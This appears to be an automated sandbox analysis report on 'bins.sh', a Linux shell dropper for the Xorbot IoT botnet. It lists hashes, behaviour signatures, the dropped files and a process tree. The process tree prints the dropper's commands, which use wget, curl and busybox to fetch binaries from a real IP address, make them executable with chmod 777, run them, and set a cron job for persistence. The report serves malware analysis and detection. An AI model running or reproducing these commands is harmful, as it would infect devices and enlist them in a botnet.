Analysis

  • max time kernel
    149s
  • max time network
    162s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/12/2024, 21:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8580d3e0404771972a9f01c8f1022b41

  • SHA1

    12009ebfa508f900f56d9da9a3fc0f058ce2227a

  • SHA256

    838e2007e9ae8cb8aaa9c2f53b17d5503d751cdc59a5997e2b9228de843b38f1

  • SHA512

    11d915de31c2a4cde4cd48529b3962db89f49307c35d963b9c4ee6e4edaa1eb02fd409d65305a4f30a6a0576ab134d3479071c9eee0d5bbf6b71b8151caacde9

  • SSDEEP

    96:uxnn5zkwsZhf0wvJhVz6a/eHK9h1TksmBbQJhVz6aDyyLil8dm9h1Tksdg1PZhfZ:u0Zhf0wv9eHK0CHZhf0wx

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1906) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          ./3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm 3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:699
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:700
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:703
          • /bin/chmod
            chmod 777 xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • File and Directory Permissions Modification
            PID:706
          • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            ./xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:707
          • /bin/rm
            rm xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8
            2⤵
            • System Network Configuration Discovery
            PID:710
          • /usr/bin/wget
            wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:711
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:717
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Writes file to tmp directory
            PID:726
          • /bin/chmod
            chmod 777 WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • File and Directory Permissions Modification
            PID:730
          • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            ./WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:732
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:734
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:735
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:737
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:738
                • /bin/rm
                  rm WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq
                  2⤵
                    PID:743
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                    2⤵
                      PID:746
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/DkZt4FDc52hBagaKEs8ZyAlGMa2zwN3FW8
                      2⤵
                        PID:747

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/3n59P9Mv9t2mSbpeiAW5ccTUhXaMEClY2c

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/WOPFKBEhpxNpsLb1mSRydCYTECwQrgMLmq

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/xo4idlUJaiiPjiiOV0cIUd0SGi73SQhZV8

                            Filesize

                            122KB

                            MD5

                            cd3d4b9c643e5b473fb4d88ed05f0716

                            SHA1

                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                            SHA256

                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                            SHA512

                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                          • /var/spool/cron/crontabs/tmp.XlKUED

                            Filesize

                            210B

                            MD5

                            981396c975d731547d09f73ceb9646f1

                            SHA1

                            57494e8d2c47b3bd61faa8145190c5a35ae6f16c

                            SHA256

                            f55a65d620422b0b61c048a75e106166213a1d26db89a87abbadb20a7b517988

                            SHA512

                            c6957e1858d7a1c98353f2c1dd8cf27c09e7230e37f1fc6fcc188d6c3080c5ca1ccd4708adf86e73f575a5fe488bf11040c5da4f92ab2176d205744bdc8b7e49